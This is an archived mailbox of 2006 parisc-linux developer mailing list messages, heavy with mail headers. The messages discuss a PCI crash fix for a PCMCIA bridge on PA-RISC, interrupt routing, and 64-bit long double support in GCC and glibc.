	Fri, 17 Nov 2006 22:35:07 +0000 (UTC)
Original-Received: (qmail 21745 invoked from network); 17 Nov 2006 17:32:14 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 17 Nov 2006 17:32:14 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <200611172149.kAHLneVu017780@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GgFrcVQiRkkeaauPfGRqHUZmdWkvKNMV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24089

--===============0420059544==
Content-Type: multipart/signed; boundary="nextPart2962698.pJ4HA85Ovm";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2962698.pJ4HA85Ovm
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Friday 17 November 2006 16:49, John David Anglin wrote:
> Would you generate a backtrace for this breakpoint?

ive gotta take off for a while, so i've generated a core at that break poin=
t=20
and uploaded it here:
http://dev.gentoo.org/~vapier/hppa/
hope it helps
=2Dmike

--nextPart2962698.pJ4HA85Ovm
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARV45G0FjO5/oN/WBAQJEnhAAmc1mb2fAM29GijVsxv3EKN4JHAd1KFbX
65bvwM+ILE0zMAX/5r7x8P4ifd2mnbKfWgTOx3ueroi2f59zsP4rbpn7rV96+xXS
qZv4NX/ej/bPrv9mop1tdeuf+xgHnVON5RaXihnfY+k48At64DUK4+xGZnMVkQsK
9fVGpnewyMDpHh4KgPhiKecEFWMhQHKG6D8VN4JYDZWripODNefG318kKFKPJmkR
4UviNmY43AmRnq4omJfoQolgM7J8xuBxIF1oENSKuFysU7H9ZSOzMP0PLEn6Y/m9
mRhK3+cwr9xpcBQg67BthHPIVD7tgTADgNjMPh+Bu5FKZA27RvcRz+0bOZYrN8oj
jVmz6iBFb/bKrrVoetBK7hZ58GtZJavRz4IOdl5IRhm1S0uakwLDdvbb7g0qEfkN
c9aQQsWIyyYNBm3x7bmLfiX8/atN/XWyzQgLvusJx5TFOeOeUq3+7Anqfg1d1byl
VMwNNcpaRtWCweTjTf6pPOB8wAV2/smBitUtwytPsmh0wfQE7pGgNQf3Sv4XFr0d
fZEpBn7o7OCvswDj/idMxc635iYcUQtwOanlL+aDexILYVgc0kyqcXrWdeTe+QfL
2ZPbEnpj4xpeppGr/+JcW4zwHvV4wW4yVyX0NjkvkECbNfRIDz1y9C+/Va2ZS8Av
w+9fiy5qcRY=
=5dts
-----END PGP SIGNATURE-----

--nextPart2962698.pJ4HA85Ovm--

--===============0420059544==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0420059544==--



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Sat, 18 Nov 2006 12:21:03 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20061118122103.0771c93e.gmsoft@tuxicoman.be>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
	<20061115122506.523bdd01.gmsoft@tuxicoman.be>
	<20061115122352.GH19143@parisc-linux.org>
	<20061115190830.f8e99725.gmsoft@tuxicoman.be>
	<20061117203041.GD18567@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624215 21626 80.91.229.3 (22 Nov 2014 02:43:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Nov 2006 11:21:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 18 Nov 2006 12:21:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A616E7D97E;
	Sat, 18 Nov 2006 04:21:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29279-01; Sat, 18 Nov 2006 04:21:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12DB97D977;
	Sat, 18 Nov 2006 04:21:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 787CC7D95C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 04:21:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29073-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 04:21:13 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 0033E7D93D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 04:21:13 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id CD205EB43C; Sat, 18 Nov 2006 12:21:11 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 08AA12FD35; Sat, 18 Nov 2006 12:21:08 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GlOE9-0002Mm-Qf; Sat, 18 Nov 2006 12:19:17 +0100
In-Reply-To: <20061117203041.GD18567@parisc-linux.org>
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9pk/IWd0a0AoXL6aejEzleE3Njh6dI6p
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24090



Hello Matthew,

I tried the patch and it fixes the issue. lba_bus is never NULL.

However, the pcmcia bridge is not useable yet but I guess some more work needs to be done to have it working.

Full dmesg and lspci with the new bus id :
https://www.tuxicoman.be/temp/c3600-pci-debug.logs2

  Guy


On Fri, 17 Nov 2006 13:30:42 -0700
Matthew Wilcox <matthew@wil.cx> wrote:

> On Wed, Nov 15, 2006 at 07:08:30PM +0100, Guy Martin wrote:
> > I've put the complete dmesg and lspci output (both numerical and not) here :
> > https://www.tuxicoman.be/temp/c3600-pci-debug.logs
> 
> Thanks.  Please try this patch (cribbed somewhat from jejb's patch for
> Dino back in December 2003 ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Sat, 18 Nov 2006 06:56:11 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20061118135610.GE18567@parisc-linux.org>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
	<20061115122506.523bdd01.gmsoft@tuxicoman.be>
	<20061115122352.GH19143@parisc-linux.org>
	<20061115190830.f8e99725.gmsoft@tuxicoman.be>
	<20061117203041.GD18567@parisc-linux.org>
	<20061118122103.0771c93e.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624215 21627 80.91.229.3 (22 Nov 2014 02:43:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Nov 2006 13:56:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 18 Nov 2006 14:56:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BACD7D992;
	Sat, 18 Nov 2006 06:56:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32316-09; Sat, 18 Nov 2006 06:56:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7847B7D97E;
	Sat, 18 Nov 2006 06:56:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEF137D959
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 06:56:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32429-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 06:56:11 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5B87D7D935
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 06:56:11 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 38FAE494006; Sat, 18 Nov 2006 06:56:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061118122103.0771c93e.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MClqcVciRkkeaauPfGRqMA5mdWkvKJOU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24091

On Sat, Nov 18, 2006 at 12:21:03PM +0100, Guy Martin wrote:
> I tried the patch and it fixes the issue. lba_bus is never NULL.

Excellent.  I'll check it in, without the debug printk (there's already
enough information to determine what's going on)

> However, the pcmcia bridge is not useable yet but I guess some more work needs to be done to have it working.
> 
> Full dmesg and lspci with the new bus id :
> https://www.tuxicoman.be/temp/c3600-pci-debug.logs2

I suspect the next problem is getting IRQs working:

iosapic: 0xfed32800 : no IRT entry for slot 6, pin 1
iosapic: no IRTE for 0000:01:06.0 (IRQ not connected?)

Grant, any thoughts?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit long double support.
Date: Thu, 16 Nov 2006 20:31:58 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <119aab440611161731p47779d1hdc7e7dbd336eb23c__13115.5189279982$1416624215$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624215 21630 80.91.229.3 (22 Nov 2014 02:43:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:35 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "John David Anglin" <dave.anglin@nrc.ca>,
 libc-alpha@sources.redhat.com
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 01:32:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 17 Nov 2006 02:32:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 120977D942;
	Thu, 16 Nov 2006 18:32:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31820-05; Thu, 16 Nov 2006 18:32:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CFC97D945;
	Thu, 16 Nov 2006 18:32:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C87C07D933
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:32:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31820-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:32:02 -0700 (MST)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185])
	by free.linux.hp.com (Postfix) with ESMTP id 276587D921
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 18:32:01 -0700 (MST)
Original-Received: by nf-out-0910.google.com with SMTP id x29so1325750nfb
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 17:31:58 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=P1ksn4nrHPiEwfGTCgJ3yyN1JuP+lx0EstLvvvh5yfpdpHici6lNHKDUoBOmGTgfIfPS28Wgbp2OH7NW2SSX56FDNkt0v1Ke/tvF7zOh2iiFc0rEnxBmli5f/bbR65mWk9vMa/4Y89ocRqmqTk7WXP9HrDnwCIuh53wdIVDBQVQ=
Original-Received: by 10.78.50.5 with SMTP id x5mr1277091hux.1163727118212;
	Thu, 16 Nov 2006 17:31:58 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Thu, 16 Nov 2006 17:31:58 -0800 (PST)
Content-Disposition: inline
X-Google-Sender-Auth: 0d4897f6ada57ab7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JSZocWkvTiEtQKyUaGRwELd1ZUVSRFfx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24092

The HP-PARISC processor has no 128-bit hardware floating point
support. In HPUX the 128-bit long double support is all in software.
After years of trying we have come to the conclusion that the HPUX
128-bit long double support will never be released into the public.

It was the conclusion of the community that we would use 64-bit long
double, a type which would be identical to double.

The goal is to get `long double' fixed for hppa-linux. You might ask
what is broken?

1. GCC at one point assumed `long double' was 96-bits (fixed, 64-bits)
2. GLIBC at one point asumed `long double' was 128-bits (fixed, 64-bits)
3. GLIBC headers do not export `xxxxl' (long double) variants of the
math functions.
     = The fix is to undef __NO_LONG_DOUBLE_MATH in your own version
of mathdefs.h
4. GLIBC doesn't test `long double' support.
     = Hack up math/Makefile to have a finer control over building and
testing long doubles.

I have patches for 3, and 4. The patch for 3 will "turn on" 64-bit
`long double' math functions in our headers. The patch for 4 will
reveal that "lrintl" and "lroundl" are probably broken in some
rounding cases.

There was mention of using gcc to support "double double" and use 2x
64-bit doubles. Unfortunately I think this road would be paved with
lots of debugging, a new ABI, and more headaches for little reward.
Remember our goal "fix long double support."

Is there any opposition to checking in the fix for 3?
Speak now or forever hold your peace.

... or until Kyle writes the 128-bit long double support library,
makes it fast, and we transition our ABI (there are provisions for
this already).

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Sat, 18 Nov 2006 08:22:24 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <1163859744.2806.1.camel@mulgrave.il.steeleye.com>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
	<20061115122506.523bdd01.gmsoft@tuxicoman.be>
	<20061115122352.GH19143@parisc-linux.org>
	<20061115190830.f8e99725.gmsoft@tuxicoman.be>
	<20061117203041.GD18567@parisc-linux.org>
	<20061118122103.0771c93e.gmsoft@tuxicoman.be>
	<20061118135610.GE18567@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624216 21635 80.91.229.3 (22 Nov 2014 02:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:36 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Nov 2006 14:23:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 18 Nov 2006 15:23:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C8D27D97E;
	Sat, 18 Nov 2006 07:22:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32576-10; Sat, 18 Nov 2006 07:22:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5068D7D951;
	Sat, 18 Nov 2006 07:22:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE48B7D975
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 07:22:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32576-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 07:22:49 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 32AB77D951
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Nov 2006 07:22:49 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	kAIEMPx31771; Sat, 18 Nov 2006 09:22:25 -0500
In-Reply-To: <20061118135610.GE18567@parisc-linux.org>
X-Mailer: Evolution 2.6.3 (2.6.3-1.fc5.5) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eC5sfStcMmApXLSZZGFnZr8xMjQ1N50B
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24093

On Sat, 2006-11-18 at 06:56 -0700, Matthew Wilcox wrote:
> I suspect the next problem is getting IRQs working:
> 
> iosapic: 0xfed32800 : no IRT entry for slot 6, pin 1
> iosapic: no IRTE for 0000:01:06.0 (IRQ not connected?)

Yes ... that was exactly the same as for dino.  There's a piece of
fiddle code in the dino to guess where the interrupt actually is and
wire it up ...

In this case, it just looks like you need to fill in the IRT entry.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 64-bit long double support.
Date: Thu, 16 Nov 2006 20:48:50 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200611170148.kAH1moG4028180__7427.71063601157$1416624216$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624216 21636 80.91.229.3 (22 Nov 2014 02:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:36 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 libc-alpha@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
